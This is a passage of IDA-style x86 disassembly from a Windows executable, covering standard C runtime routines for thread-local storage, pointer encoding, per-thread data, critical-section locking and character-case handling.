sub_40F11C	proc near		; CODE XREF: sub_40F0B2+63p
					; DATA XREF: r69pu5ti:00421A60o
		push	0Ch
		call	sub_40F91F
		pop	ecx
		mov	esi, [ebp-1Ch]
		retn
sub_40F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F128	proc near		; CODE XREF: sub_40C8D8+81p
					; sub_40C8D8+96p ...

arg_0		= dword	ptr  4

		push	esi
		push	dword_42368C
		mov	esi, ds:dword_41E16C
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_40F15C
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F15C
		push	eax
		push	dword_42368C
		call	esi	; TlsGetValue
		call	eax
		test	eax, eax
		jz	short loc_40F15C
		mov	eax, [eax+1F8h]
		jmp	short loc_40F177
; ---------------------------------------------------------------------------

loc_40F15C:				; CODE XREF: sub_40F128+11j
					; sub_40F128+1Bj ...
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_41E0CC	; GetModuleHandleA
		test	eax, eax
		jz	short loc_40F185
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		call	ds:off_41E0D4

loc_40F177:				; CODE XREF: sub_40F128+32j
		test	eax, eax
		jz	short loc_40F185
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax

loc_40F185:				; CODE XREF: sub_40F128+41j
					; sub_40F128+51j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_40F128	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F18B	proc near		; CODE XREF: sub_411C19+1p
					; sub_415677+2Fp ...
		push	0
		call	sub_40F128
		pop	ecx
		retn
sub_40F18B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F194	proc near		; CODE XREF: sub_40C8D8+Bp
					; sub_40C8D8+1Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	dword_42368C
		mov	esi, ds:dword_41E16C
		call	esi	; TlsGetValue
		test	eax, eax
		jz	short loc_40F1C8
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F1C8
		push	eax
		push	dword_42368C
		call	esi	; TlsGetValue
		call	eax
		test	eax, eax
		jz	short loc_40F1C8
		mov	eax, [eax+1FCh]
		jmp	short loc_40F1E3
; ---------------------------------------------------------------------------

loc_40F1C8:				; CODE XREF: sub_40F194+11j
					; sub_40F194+1Bj ...
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_41E0CC	; GetModuleHandleA
		test	eax, eax
		jz	short loc_40F1F1
		push	offset aDecodepointer ;	"DecodePointer"
		push	eax
		call	ds:off_41E0D4

loc_40F1E3:				; CODE XREF: sub_40F194+32j
		test	eax, eax
		jz	short loc_40F1F1
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax

loc_40F1F1:				; CODE XREF: sub_40F194+41j
					; sub_40F194+51j
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_40F194	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F1F7	proc near		; DATA XREF: sub_40F4D7+8Ao
					; .data:off_425E84o
		call	ds:dword_41E168	; TlsAlloc
		retn	4
sub_40F1F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F200	proc near		; CODE XREF: sub_40F31B+Ap
		push	dword_42368C
		call	ds:dword_41E16C	; TlsGetValue
		test	eax, eax
		jnz	short locret_40F229
		push	off_425E88
		call	sub_40F194
		pop	ecx
		push	eax
		push	dword_42368C
		call	ds:dword_41E164	; TlsSetValue

locret_40F229:				; CODE XREF: sub_40F200+Ej
		retn
sub_40F200	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F22A	proc near		; CODE XREF: sub_40F4D7+12p
					; sub_40F4D7:loc_40F651p
		mov	eax, dword_423688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F24A
		push	eax
		push	off_425E90
		call	sub_40F194
		pop	ecx
		call	eax
		or	dword_423688, 0FFFFFFFFh

loc_40F24A:				; CODE XREF: sub_40F22A+8j
		mov	eax, dword_42368C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F262
		push	eax
		call	ds:off_41E160
		or	dword_42368C, 0FFFFFFFFh

loc_40F262:				; CODE XREF: sub_40F22A+28j
		jmp	sub_40F8CA
sub_40F22A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F267	proc near		; CODE XREF: sub_40F31B+59p
					; sub_40F4D7+162p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	0Ch
		push	offset dword_421A68
		call	__SEH_prolog4
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_41E0CC	; GetModuleHandleA
		mov	[ebp+var_1C], eax
		mov	esi, [ebp+arg_0]
		mov	dword ptr [esi+5Ch], offset dword_423DA0
		xor	edi, edi
		inc	edi
		mov	[esi+14h], edi
		test	eax, eax
		jz	short loc_40F2B9
		push	offset aEncodepointer ;	"EncodePointer"
		push	eax
		mov	ebx, ds:off_41E0D4
		call	ebx ; sub_44439D
		mov	[esi+1F8h], eax
		push	offset aDecodepointer ;	"DecodePointer"
		push	[ebp+var_1C]
		call	ebx ; sub_44439D
		mov	[esi+1FCh], eax

loc_40F2B9:				; CODE XREF: sub_40F267+2Cj
		mov	[esi+70h], edi
		mov	byte ptr [esi+0C8h], 43h
		mov	byte ptr [esi+14Bh], 43h
		mov	eax, offset dword_423070
		mov	[esi+68h], eax
		push	eax
		call	ds:dword_41E17C	; InterlockedIncrement
		push	0Ch
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+arg_4]
		mov	[esi+6Ch], eax
		test	eax, eax
		jnz	short loc_40F2F7
		mov	eax, off_423678
		mov	[esi+6Ch], eax

loc_40F2F7:				; CODE XREF: sub_40F267+86j
		push	dword ptr [esi+6Ch]
		call	sub_40EF62
		pop	ecx
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F312
		call	__SEH_epilog4
		retn
sub_40F267	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F312	proc near		; CODE XREF: sub_40F267+A0p
					; DATA XREF: r69pu5ti:00421A80o
		push	0Ch
		call	sub_40F91F
		pop	ecx
		retn
sub_40F312	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F31B	proc near		; CODE XREF: sub_40F39E+1p sub_40F7D4p ...
		push	esi
		push	edi
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		mov	edi, eax
		call	sub_40F200
		push	dword_423688
		push	dword_42368C
		call	ds:dword_41E16C	; TlsGetValue
		call	eax
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F392
		push	214h
		push	1
		call	sub_41187A
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40F392
		push	esi
		push	dword_423688
		push	off_425E8C
		call	sub_40F194
		pop	ecx
		call	eax
		test	eax, eax
		jz	short loc_40F389
		push	0
		push	esi
		call	sub_40F267
		pop	ecx
		pop	ecx
		call	ds:dword_41E0C8	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_40F392
; ---------------------------------------------------------------------------

loc_40F389:				; CODE XREF: sub_40F31B+54j
		push	esi
		call	sub_40D35A
		pop	ecx
		xor	esi, esi

loc_40F392:				; CODE XREF: sub_40F31B+27j
					; sub_40F31B+3Bj ...
		push	edi
		call	ds:dword_41E15C	; RtlRestoreLastWin32Error
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40F31B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F39E	proc near		; CODE XREF: sub_40AB59+Fp sub_40D0E9p ...
		push	esi
		call	sub_40F31B
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F3B2
		push	10h
		call	sub_41195D
		pop	ecx

loc_40F3B2:				; CODE XREF: sub_40F39E+Aj
		mov	eax, esi
		pop	esi
		retn
sub_40F39E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3B6	proc near		; DATA XREF: sub_40F4D7+115o

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421A88
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_40F4B7
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_40F3DB
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40F3DB:				; CODE XREF: sub_40F3B6+1Cj
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_40F3E9
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40F3E9:				; CODE XREF: sub_40F3B6+2Aj
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_40F3F7
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40F3F7:				; CODE XREF: sub_40F3B6+38j
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_40F405
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40F405:				; CODE XREF: sub_40F3B6+46j
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_40F413
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40F413:				; CODE XREF: sub_40F3B6+54j
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_40F421
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40F421:				; CODE XREF: sub_40F3B6+62j
		mov	eax, [esi+5Ch]
		cmp	eax, offset dword_423DA0
		jz	short loc_40F432
		push	eax
		call	sub_40D35A
		pop	ecx

loc_40F432:				; CODE XREF: sub_40F3B6+73j
		push	0Dh
		call	sub_40F9F7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [esi+68h]
		test	edi, edi
		jz	short loc_40F45F
		push	edi
		call	ds:dword_41E178	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_40F45F
		cmp	edi, offset dword_423070
		jz	short loc_40F45F
		push	edi
		call	sub_40D35A
		pop	ecx

loc_40F45F:				; CODE XREF: sub_40F3B6+8Dj
					; sub_40F3B6+98j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F4C2
		push	0Ch
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		mov	edi, [esi+6Ch]
		test	edi, edi
		jz	short loc_40F4A4
		push	edi
		call	sub_40EFE8
		pop	ecx
		cmp	edi, off_423678
		jz	short loc_40F4A4
		cmp	edi, offset dword_4235A0
		jz	short loc_40F4A4
		cmp	dword ptr [edi], 0
		jnz	short loc_40F4A4
		push	edi
		call	sub_40EE22
		pop	ecx

loc_40F4A4:				; CODE XREF: sub_40F3B6+C9j
					; sub_40F3B6+D8j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F4CE
		push	esi
		call	sub_40D35A
		pop	ecx

loc_40F4B7:				; CODE XREF: sub_40F3B6+11j
		call	__SEH_epilog4
		retn	4
sub_40F3B6	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_40F4C2	proc near		; CODE XREF: sub_40F3B6+B0p
		push	0Dh
		call	sub_40F91F
		pop	ecx
		retn
sub_40F4C2	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_40F4CE	proc near		; CODE XREF: sub_40F3B6+F5p
		push	0Ch
		call	sub_40F91F
		pop	ecx
		retn
sub_40F4CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F4D7	proc near		; CODE XREF: .text:loc_40E0B5p
		push	edi
		push	offset aKernel32_dll_0 ; "KERNEL32.DLL"
		call	ds:dword_41E0CC	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F4F2
		call	sub_40F22A
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40F4F2:				; CODE XREF: sub_40F4D7+10j
		push	esi
		mov	esi, ds:off_41E0D4
		push	offset dword_41E4C4
		push	edi
		call	esi ; sub_44439D
		push	offset aFlsgetvalue ; "FlsGetValue"
		push	edi
		mov	off_425E84, eax
		call	esi ; sub_44439D
		push	offset aFlssetvalue ; "FlsSetValue"
		push	edi
		mov	off_425E88, eax
		call	esi ; sub_44439D
		push	offset aFlsfree	; "FlsFree"
		push	edi
		mov	off_425E8C, eax
		call	esi ; sub_44439D
		cmp	off_425E84, 0
		mov	esi, ds:dword_41E164
		mov	off_425E90, eax
		jz	short loc_40F552
		cmp	off_425E88, 0
		jz	short loc_40F552
		cmp	off_425E8C, 0
		jz	short loc_40F552
		test	eax, eax
		jnz	short loc_40F576

loc_40F552:				; CODE XREF: sub_40F4D7+63j
					; sub_40F4D7+6Cj ...
		mov	eax, ds:dword_41E16C
		mov	off_425E88, eax
		mov	eax, ds:off_41E160
		mov	off_425E84, offset sub_40F1F7
		mov	off_425E8C, esi
		mov	off_425E90, eax

loc_40F576:				; CODE XREF: sub_40F4D7+79j
		call	ds:dword_41E168	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_42368C, eax
		jz	loc_40F656
		push	off_425E88
		push	eax
		call	esi	; TlsSetValue
		test	eax, eax
		jz	loc_40F656
		call	sub_411C19
		push	off_425E84
		call	sub_40F128
		push	off_425E88
		mov	off_425E84, eax
		call	sub_40F128
		push	off_425E8C
		mov	off_425E88, eax
		call	sub_40F128
		push	off_425E90
		mov	off_425E8C, eax
		call	sub_40F128
		add	esp, 10h
		mov	off_425E90, eax
		call	sub_40F881
		test	eax, eax
		jz	short loc_40F651
		push	offset sub_40F3B6
		push	off_425E84
		call	sub_40F194
		pop	ecx
		call	eax	; TlsGetValue
		cmp	eax, 0FFFFFFFFh
		mov	dword_423688, eax
		jz	short loc_40F651
		push	214h
		push	1
		call	sub_41187A
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40F651
		push	esi
		push	dword_423688
		push	off_425E8C
		call	sub_40F194
		pop	ecx
		call	eax	; TlsGetValue
		test	eax, eax
		jz	short loc_40F651
		push	0
		push	esi
		call	sub_40F267
		pop	ecx
		pop	ecx
		call	ds:dword_41E0C8	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		jmp	short loc_40F658
; ---------------------------------------------------------------------------

loc_40F651:				; CODE XREF: sub_40F4D7+113j
					; sub_40F4D7+130j ...
		call	sub_40F22A

loc_40F656:				; CODE XREF: sub_40F4D7+ADj
					; sub_40F4D7+BEj
		xor	eax, eax

loc_40F658:				; CODE XREF: sub_40F4D7+178j
		pop	esi
		pop	edi
		retn
sub_40F4D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F65B	proc near		; CODE XREF: sub_40AC10+9Bp
					; sub_40AC10+ADp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_18]
		call	sub_40AB59
		mov	ebx, [ebp+arg_0]
		mov	esi, 100h
		cmp	ebx, esi
		jnb	short loc_40F6CE
		mov	ecx, [ebp+var_18]
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_40F69A
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		push	ebx
		call	sub_4167A4
		mov	ecx, [ebp+var_18]
		add	esp, 0Ch
		jmp	short loc_40F6A7
; ---------------------------------------------------------------------------

loc_40F69A:				; CODE XREF: sub_40F65B+29j
		mov	eax, [ecx+0C8h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 1

loc_40F6A7:				; CODE XREF: sub_40F65B+3Dj
		test	eax, eax
		jz	short loc_40F6BA
		mov	eax, [ecx+0CCh]
		movzx	eax, byte ptr [eax+ebx]
		jmp	loc_40F761
; ---------------------------------------------------------------------------

loc_40F6BA:				; CODE XREF: sub_40F65B+4Ej
					; sub_40F65B+EAj
		cmp	[ebp+var_C], 0
		jz	short loc_40F6C7
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_40F6C7:				; CODE XREF: sub_40F65B+63j
		mov	eax, ebx
		jmp	loc_40F76E
; ---------------------------------------------------------------------------

loc_40F6CE:				; CODE XREF: sub_40F65B+1Dj
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_40F70B
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_416760
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40F70B
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_4], al
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		pop	ecx
		jmp	short loc_40F720
; ---------------------------------------------------------------------------

loc_40F70B:				; CODE XREF: sub_40F65B+7Dj
					; sub_40F65B+9Cj
		call	sub_40F7D4
		mov	dword ptr [eax], 2Ah
		xor	ecx, ecx
		mov	[ebp+var_4], bl
		mov	[ebp+var_3], 0
		inc	ecx

loc_40F720:				; CODE XREF: sub_40F65B+AEj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+4]
		lea	edx, [ebp+var_8]
		push	3
		push	edx
		push	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416059
		add	esp, 24h
		test	eax, eax
		jz	loc_40F6BA
		cmp	eax, 1
		jnz	short loc_40F756
		movzx	eax, [ebp+var_8]
		jmp	short loc_40F761
; ---------------------------------------------------------------------------

loc_40F756:				; CODE XREF: sub_40F65B+F3j
		movzx	ecx, [ebp+var_7]
		xor	eax, eax
		mov	ah, [ebp+var_8]
		or	eax, ecx

loc_40F761:				; CODE XREF: sub_40F65B+5Aj
					; sub_40F65B+F9j
		cmp	[ebp+var_C], 0
		jz	short loc_40F76E
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_40F76E:				; CODE XREF: sub_40F65B+6Ej
					; sub_40F65B+10Aj
		pop	esi
		pop	ebx
		leave
		retn
sub_40F65B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F772	proc near		; CODE XREF: sub_41A3CD+19p
					; sub_41A3CD+36p

arg_0		= dword	ptr  4

		cmp	dword_425E60, 0
		jnz	short loc_40F78B
		mov	eax, [esp+arg_0]
		lea	ecx, [eax-41h]
		cmp	ecx, 19h
		ja	short locret_40F798
		add	eax, 20h
		retn
; ---------------------------------------------------------------------------

loc_40F78B:				; CODE XREF: sub_40F772+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_40F65B
		pop	ecx
		pop	ecx

locret_40F798:				; CODE XREF: sub_40F772+13j
		retn
sub_40F772	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F799	proc near		; CODE XREF: sub_40D35A+80p
					; sub_40F7FA+Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_40F79F:				; CODE XREF: sub_40F799+13j
		cmp	eax, dword_423690[ecx*8]
		jz	short loc_40F7BA
		inc	ecx
		cmp	ecx, 2Dh
		jl	short loc_40F79F
		lea	ecx, [eax-13h]
		cmp	ecx, 11h
		ja	short loc_40F7C2
		push	0Dh
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_40F7BA:				; CODE XREF: sub_40F799+Dj
		mov	eax, dword_423694[ecx*8]
		retn
; ---------------------------------------------------------------------------

loc_40F7C2:				; CODE XREF: sub_40F799+1Bj
		add	eax, 0FFFFFF44h
		push	0Eh
		pop	ecx
		cmp	ecx, eax
		sbb	eax, eax
		and	eax, ecx
		add	eax, 8
		retn
sub_40F799	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7D4	proc near		; CODE XREF: sub_40AC10+19p
					; sub_40AC10+4Fp ...
		call	sub_40F31B
		test	eax, eax
		jnz	short loc_40F7E3
		mov	eax, offset dword_4237F8
		retn
; ---------------------------------------------------------------------------

loc_40F7E3:				; CODE XREF: sub_40F7D4+7j
		add	eax, 8
		retn
sub_40F7D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7E7	proc near		; CODE XREF: sub_40F7FA+1p
					; sub_412765+14p ...
		call	sub_40F31B
		test	eax, eax
		jnz	short loc_40F7F6
		mov	eax, offset dword_4237FC
		retn
; ---------------------------------------------------------------------------

loc_40F7F6:				; CODE XREF: sub_40F7E7+7j
		add	eax, 0Ch
		retn
sub_40F7E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7FA	proc near		; CODE XREF: sub_4126D1+84p
					; sub_413B24+3FBp ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_40F7E7
		mov	ecx, [esp+4+arg_0]
		push	ecx
		mov	[eax], ecx
		call	sub_40F799
		pop	ecx
		mov	esi, eax
		call	sub_40F7D4
		mov	[eax], esi
		pop	esi
		retn
sub_40F7FA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F820	proc near		; CODE XREF: sub_40AD33+9Ap
					; sub_40AE23+42j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	short loc_40F87A
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]

loc_40F83C:				; CODE XREF: sub_40F820+49j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_40F86B
		or	al, al
		jz	short loc_40F86B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_40F858
		cmp	ah, bl
		ja	short loc_40F858
		add	ah, dh

loc_40F858:				; CODE XREF: sub_40F820+30j
					; sub_40F820+34j
		cmp	al, bh
		jb	short loc_40F862
		cmp	al, bl
		ja	short loc_40F862
		add	al, dh

loc_40F862:				; CODE XREF: sub_40F820+3Aj
					; sub_40F820+3Ej
		cmp	ah, al
		jnz	short loc_40F871
		sub	ecx, 1
		jnz	short loc_40F83C

loc_40F86B:				; CODE XREF: sub_40F820+22j
					; sub_40F820+26j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_40F87A

loc_40F871:				; CODE XREF: sub_40F820+44j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_40F87A
		neg	ecx

loc_40F87A:				; CODE XREF: sub_40F820+Bj
					; sub_40F820+4Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_40F820	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F881	proc near		; CODE XREF: sub_40F4D7+10Cp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_425E98

loc_40F88A:				; CODE XREF: sub_40F881+35j
		cmp	dword_423804[esi*8], 1
		jnz	short loc_40F8B2
		lea	eax, ds:423800h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_416874
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40F8BE

loc_40F8B2:				; CODE XREF: sub_40F881+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_40F88A
		xor	eax, eax
		inc	eax

loc_40F8BB:				; CODE XREF: sub_40F881+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40F8BE:				; CODE XREF: sub_40F881+2Fj
		and	off_423800[esi*8], 0
		xor	eax, eax
		jmp	short loc_40F8BB
sub_40F881	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F8CA	proc near		; CODE XREF: sub_40F22A:loc_40F262j
		push	ebx
		mov	ebx, ds:off_41E158
		push	esi
		mov	esi, offset off_423800
		push	edi

loc_40F8D8:				; CODE XREF: sub_40F8CA+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_40F8F1
		cmp	dword ptr [esi+4], 1
		jz	short loc_40F8F1
		push	edi
		call	ebx ; sub_43CBF3
		push	edi
		call	sub_40D35A
		and	dword ptr [esi], 0
		pop	ecx

loc_40F8F1:				; CODE XREF: sub_40F8CA+12j
					; sub_40F8CA+18j
		add	esi, 8
		cmp	esi, offset dword_423920
		jl	short loc_40F8D8
		mov	esi, offset off_423800
		pop	edi

loc_40F902:				; CODE XREF: sub_40F8CA+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40F911
		cmp	dword ptr [esi+4], 1
		jnz	short loc_40F911
		push	eax
		call	ebx ; sub_43CBF3

loc_40F911:				; CODE XREF: sub_40F8CA+3Cj
					; sub_40F8CA+42j
		add	esi, 8
		cmp	esi, offset dword_423920
		jl	short loc_40F902
		pop	esi
		pop	ebx
		retn
sub_40F8CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F91F	proc near		; CODE XREF: sub_40C625+2p
					; sub_40D3B0+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	off_423800[eax*8]
		call	ds:dword_41E154	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_40F91F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F934	proc near		; CODE XREF: sub_40F9F7+14p
					; sub_412126+4Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421AB0
		call	__SEH_prolog4
		xor	edi, edi
		inc	edi
		mov	[ebp+var_1C], edi
		xor	ebx, ebx
		cmp	dword_425FE8, ebx
		jnz	short loc_40F968
		call	sub_413861
		push	1Eh
		call	sub_4136C1
		push	0FFh
		call	sub_4119A7
		pop	ecx
		pop	ecx

loc_40F968:				; CODE XREF: sub_40F934+1Aj
		mov	esi, [ebp+arg_0]
		lea	esi, ds:423800h[esi*8]
		cmp	[esi], ebx
		jz	short loc_40F97A
		mov	eax, edi
		jmp	short loc_40F9E8
; ---------------------------------------------------------------------------

loc_40F97A:				; CODE XREF: sub_40F934+40j
		push	18h
		call	sub_41183A
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40F997
		call	sub_40F7D4
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_40F9E8
; ---------------------------------------------------------------------------

loc_40F997:				; CODE XREF: sub_40F934+52j
		push	0Ah
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi], ebx
		jnz	short loc_40F9D2
		push	0FA0h
		push	edi
		call	sub_416874
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40F9CE
		push	edi
		call	sub_40D35A
		pop	ecx
		call	sub_40F7D4
		mov	dword ptr [eax], 0Ch
		mov	[ebp+var_1C], ebx
		jmp	short loc_40F9D9
; ---------------------------------------------------------------------------

loc_40F9CE:				; CODE XREF: sub_40F934+81j
		mov	[esi], edi
		jmp	short loc_40F9D9
; ---------------------------------------------------------------------------

loc_40F9D2:				; CODE XREF: sub_40F934+70j
		push	edi
		call	sub_40D35A
		pop	ecx

loc_40F9D9:				; CODE XREF: sub_40F934+98j
					; sub_40F934+9Cj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40F9EE
		mov	eax, [ebp+var_1C]

loc_40F9E8:				; CODE XREF: sub_40F934+44j
					; sub_40F934+61j
		call	__SEH_epilog4
		retn
sub_40F934	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F9EE	proc near		; CODE XREF: sub_40F934+ACp
					; DATA XREF: r69pu5ti:00421AC8o
		push	0Ah
		call	sub_40F91F
		pop	ecx
		retn
sub_40F9EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9F7	proc near		; CODE XREF: sub_40C58B+44p
					; sub_40D35A+1Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:423800h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_40FA1D
		push	eax
		call	sub_40F934
		test	eax, eax
		pop	ecx
		jnz	short loc_40FA1D
		push	11h
		call	sub_41195D
		pop	ecx

loc_40FA1D:				; CODE XREF: sub_40F9F7+11j
					; sub_40F9F7+1Cj
		push	dword ptr [esi]
		call	ds:dword_41E150	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_40F9F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA28	proc near		; CODE XREF: sub_40FA83:loc_40FAA6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_4]
		xor	esi, esi
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		call	sub_411A06
		test	eax, eax
		pop	ecx
		jz	short loc_40FA51
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h

loc_40FA51:				; CODE XREF: sub_40FA28+1Aj
		lea	eax, [ebp+var_8]
